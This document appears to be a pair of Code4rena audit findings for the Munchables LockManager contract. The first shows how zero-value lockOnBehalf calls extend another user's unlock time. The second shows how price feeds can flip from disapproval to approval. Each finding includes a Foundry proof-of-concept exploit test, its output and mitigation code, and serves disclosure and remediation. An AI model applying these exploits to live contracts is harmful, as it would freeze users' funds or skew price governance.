Munchables - dd0x7e8's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275

Vulnerability details

Impact

The lockOnBehalf() function enables users to lock tokens on behalf of another address specified by _onBehalfOf. This function has the capability to adjust the unlock time for the _onBehalfOf account by adding the specified _lockDuration. Notably, the function does not restrict the amount _quantity that can be locked, thereby allowing the caller to lock any quantity, including zero.

This presents a potential vulnerability: a malicious actor could exploit this feature by locking zero tokens to undesirably extend another user's unlock time. For instance, consider a scenario where Bob locks 10 ETH with an expectation to access them after 10 days. Tom, who harbors malicious intent, could use the lockOnBehalf function to lock 0 ETH on behalf of Bob. This action would inadvertently extend the unlock period for Bob's originally locked 10 ETH, thereby preventing Bob from accessing his funds at the initially anticipated time.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Code

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {console2} from "forge-std/Test.sol";
import "./MunchablesTest.sol";
import "../managers/MigrationManager.sol";
import "./Converter.sol";

contract LockManagerTest is MunchablesTest {

    using Converter for *;

    address public Bob = makeAddr("Bob");
    address public Tom = makeAddr("Tom");
    address public PriceFeed_1 = makeAddr("PriceFeed_1");
    address public PriceFeed_2 = makeAddr("PriceFeed_2");
    address public PriceFeed_3 = makeAddr("PriceFeed_3");
    address public PriceFeed_4 = makeAddr("PriceFeed_4");
    address public PriceFeed_5 = makeAddr("PriceFeed_5");

    address[] public tokenContracts;

    function setUp() public override {
        vm.warp(1716631918);
        deployContracts();

        tokenContracts.push(address(0));
        tokenContracts.push(address(weth));
        tokenContracts.push(address(usdb));

        //set role
        cs.setRole(Role.PriceFeed_1, address(lm), PriceFeed_1);
        cs.setRole(Role.PriceFeed_2, address(lm), PriceFeed_2);
        cs.setRole(Role.PriceFeed_3, address(lm), PriceFeed_3);
        cs.setRole(Role.PriceFeed_4, address(lm), PriceFeed_4);
        cs.setRole(Role.PriceFeed_5, address(lm), PriceFeed_5);

        //set threshold
        lm.setUSDThresholds(3, 3);

        //register
        vm.startPrank(Bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        lm.setLockDuration(10 days);
        vm.startPrank(Tom);
        lm.setLockDuration(10 days);
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        //init funds
        deal(Bob, 1e6 ether);
        deal(Tom, 1e6 ether);
        deal(address(weth), Bob, 1e6 ether);
        deal(address(weth), Tom, 1e6 ether);
        deal(address(usdb), Bob, 1e8 ether);
        deal(address(usdb), Tom, 1e8 ether);

        vm.label(address(weth), "WETH");
        vm.label(address(usdb), "USDB");

        vm.warp(block.timestamp + 1 days);
    }

    function logLockedTokensByPlayer(address player, string memory _msg) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        console2.log("-------------------------------");
        console2.log(_msg);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].lockedToken.quantity == 0) {
                continue;
            }
            if (lockedTokens[i].tokenContract == address(0)) {
                console2.log("ETH Locked:", lockedTokens[i].lockedToken.quantity);
            } else {
                console2.log("%s Locked:", vm.getLabel(lockedTokens[i].tokenContract), lockedTokens[i].lockedToken.quantity);
            }
            console2.log("Remainder:", lockedTokens[i].lockedToken.remainder);
            console2.log("LastLockTime:", lockedTokens[i].lockedToken.lastLockTime.convertTimestamp());
            console2.log("UnlockTime:", lockedTokens[i].lockedToken.unlockTime.convertTimestamp());
        }
        console2.log("-------------------------------");
    }

    function test_POC2_AnyoneCanExtendOthersUnlockPeriod_lockOnBehalf_unlock_eth_revert() public {
        logLockedTokensByPlayer(Bob, "Before First Lock");
        console2.log("%s - Bob locks 10 ETH", block.timestamp.convertTimestamp());
        vm.startPrank(Bob);
        lm.lock{value: 10 ether}(address(0), 10 ether);
        logLockedTokensByPlayer(Bob, "After First Lock");

        vm.warp(block.timestamp + 10 days);
        console2.log("%s - Tom locks 0 ETH on behalf of Bob", block.timestamp.convertTimestamp());
        vm.startPrank(Tom);
        lm.lockOnBehalf{value: 0 ether}(address(0), 0 ether, Bob);
        logLockedTokensByPlayer(Bob, "After Second Lock");
        console2.log("%s - Bob unlocks 10 ETH", block.timestamp.convertTimestamp());
        vm.startPrank(Bob);
        vm.expectRevert();
        lm.unlock(address(0), 10 ether);
        console2.log("ETH of Lock Manager is %d", address(lm).balance);
    }
}

Test Result

$ forge test --mc LockManagerTest --mt test_POC2 -vv
[⠢] Compiling...
[⠒] Compiling 1 files with 0.8.25
[⠢] Solc 0.8.25 finished in 31.03s
Compiler run successful!

Ran 1 test for src/test/LockManager.t.sol:LockManagerTest
[PASS] test_POC2_AnyoneCanExtendOthersUnlockPeriod_lockOnBehalf_unlock_eth_revert() (gas: 657459)
Logs:
  -------------------------------
  Before First Lock
  -------------------------------
  2024-05-26 10:11:58 - Bob locks 10 ETH
  -------------------------------
  After First Lock
  ETH Locked: 10000000000000000000
  Remainder: 0
  LastLockTime: 2024-05-26 10:11:58
  UnlockTime: 2024-06-05 10:11:58
  -------------------------------
  2024-06-05 10:11:58 - Tom locks 0 ETH on behalf of Bob
  -------------------------------
  After Second Lock
  ETH Locked: 10000000000000000000
  Remainder: 0
  LastLockTime: 2024-06-05 10:11:58
  UnlockTime: 2024-06-15 10:11:58
  -------------------------------
  2024-06-05 10:11:58 - Bob unlocks 10 ETH
  ETH of Lock Manager is 10000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 74.40ms (7.02ms CPU time)

Ran 1 test suite in 185.15ms (74.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

1. Validate the Lock Amount:

• Implementation: Modify the lockOnBehalf() function to include a validation check that ensures the amount _quantity being locked is greater than zero. This prevents the function from processing zero-value locks that could be used to maliciously extend the unlock time.

function lockOnBehalf(
    address _tokenContract,
    uint256 _quantity,
    address _onBehalfOf
) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant {
    require(_quantity > 0, "Lock quantity must be greater than zero.");
    ...
}

2. Adjust Lock Duration Logic:

• Implementation: Instead of allowing any call to lockOnBehalf() to reset or extend the unlock period, modify the logic to ensure that the unlock time can only be extended if an actual additional quantity of tokens is being locked.

function _lock(
    address _tokenContract,
    uint256 _quantity,
    address _tokenOwner,
    address _lockRecipient
) private {
    ...
    if (_quantity > 0) {
      uint32 newUnlockTime = uint32(block.timestamp) + _lockDuration;
      if (newUnlockTime > lockedToken.unlockTime) {
        lockedToken.unlockTime = newUnlockTime;
      }
    }
...
}

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L177

Vulnerability details

Impact

In the LockManager contract, it permits price feed accounts to change their stance from disapproval to approval on the current proposal. This flexibility can be exploited under certain conditions to manipulate the outcome of proposals, especially when the thresholds for approval are low or just sufficient to pass a proposal. Here’s how the issue unfolds:

1. Feed1 creates a proposal and approves it.
2. Feed2 disapproves the proposal.
3. Feed3 disapproves the proposal.
4. Feed4 approves the proposal.
5. Feed3 approves the proposal.

Proof of Concept

Code

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {console2} from "forge-std/Test.sol";
import "./MunchablesTest.sol";
import "../managers/MigrationManager.sol";
import "./Converter.sol";

contract LockManagerTest is MunchablesTest {

    using Converter for *;

    address public Bob = makeAddr("Bob");
    address public Tom = makeAddr("Tom");
    address public PriceFeed_1 = makeAddr("PriceFeed_1");
    address public PriceFeed_2 = makeAddr("PriceFeed_2");
    address public PriceFeed_3 = makeAddr("PriceFeed_3");
    address public PriceFeed_4 = makeAddr("PriceFeed_4");
    address public PriceFeed_5 = makeAddr("PriceFeed_5");

    address[] public tokenContracts;

    function setUp() public override {
        vm.warp(1716631918);
        deployContracts();

        tokenContracts.push(address(0));
        tokenContracts.push(address(weth));
        tokenContracts.push(address(usdb));

        //set role
        cs.setRole(Role.PriceFeed_1, address(lm), PriceFeed_1);
        cs.setRole(Role.PriceFeed_2, address(lm), PriceFeed_2);
        cs.setRole(Role.PriceFeed_3, address(lm), PriceFeed_3);
        cs.setRole(Role.PriceFeed_4, address(lm), PriceFeed_4);
        cs.setRole(Role.PriceFeed_5, address(lm), PriceFeed_5);

        //set threshold
        lm.setUSDThresholds(3, 3);

        //register
        vm.startPrank(Bob);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        lm.setLockDuration(10 days);
        vm.startPrank(Tom);
        lm.setLockDuration(10 days);
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        //init funds
        deal(Bob, 1e6 ether);
        deal(Tom, 1e6 ether);
        deal(address(weth), Bob, 1e6 ether);
        deal(address(weth), Tom, 1e6 ether);
        deal(address(usdb), Bob, 1e8 ether);
        deal(address(usdb), Tom, 1e8 ether);

        vm.label(address(weth), "WETH");
        vm.label(address(usdb), "USDB");

        vm.warp(block.timestamp + 1 days);
    }

    function logLockedTokensByPlayer(address player, string memory _msg) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(player);
        console2.log("-------------------------------");
        console2.log(_msg);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].lockedToken.quantity == 0) {
                continue;
            }
            if (lockedTokens[i].tokenContract == address(0)) {
                console2.log("ETH Locked:", lockedTokens[i].lockedToken.quantity);
            } else {
                console2.log("%s Locked:", vm.getLabel(lockedTokens[i].tokenContract), lockedTokens[i].lockedToken.quantity);
            }
            console2.log("Remainder:", lockedTokens[i].lockedToken.remainder);
            console2.log("LastLockTime:", lockedTokens[i].lockedToken.lastLockTime.convertTimestamp());
            console2.log("UnlockTime:", lockedTokens[i].lockedToken.unlockTime.convertTimestamp());
        }
        console2.log("-------------------------------");
    }

    function test_POC1_SameRoleCanBothDisapproveAndApprove_disapproveUSDPrice() public {
        ILockManager.ConfiguredToken memory _token = lm.getConfiguredToken(address(weth));

        uint256 newPrice = _token.usdPrice * 2;

        console2.log("Fee1 proposes and approves the new USD price");
        vm.startPrank(PriceFeed_1);
        lm.proposeUSDPrice(newPrice, tokenContracts);

        console2.log("Fee2 disapproves the USD price");
        vm.startPrank(PriceFeed_2);
        lm.disapproveUSDPrice(newPrice);

        console2.log("Fee3 disapproves the USD price");
        vm.startPrank(PriceFeed_3);
        lm.disapproveUSDPrice(newPrice);

        vm.startPrank(PriceFeed_4);
        lm.approveUSDPrice(newPrice);

        console2.log("Fee3 approves the USD price");
        vm.startPrank(PriceFeed_3);
        lm.approveUSDPrice(newPrice);

        _token = lm.getConfiguredToken(address(weth));
        assertEq(newPrice, _token.usdPrice);
    }


}

Test Result

$ forge test --mc LockManagerTest --mt test_POC1 -vv
[⠰] Compiling...
[⠃] Compiling 1 files with 0.8.25
[⠒] Solc 0.8.25 finished in 36.84s
Compiler run successful!

Ran 1 test for src/test/LockManager.t.sol:LockManagerTest
[PASS] test_POC1_SameRoleCanBothDisapproveAndApprove_disapproveUSDPrice() (gas: 312049)
Logs:
  Fee1 proposes and approves the new USD price
  Fee2 disapproves the USD price
  Fee3 disapproves the USD price
  Fee3 approves the USD price

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 73.83ms (2.15ms CPU time)

Ran 1 test suite in 212.80ms (73.83ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Foundry

Recommended Mitigation Steps

To address this issue, it is advisable to implement a more rigid control mechanism that restricts price feed accounts from changing their mind once made, whether it's an approval or disapproval.

Assessed type

Other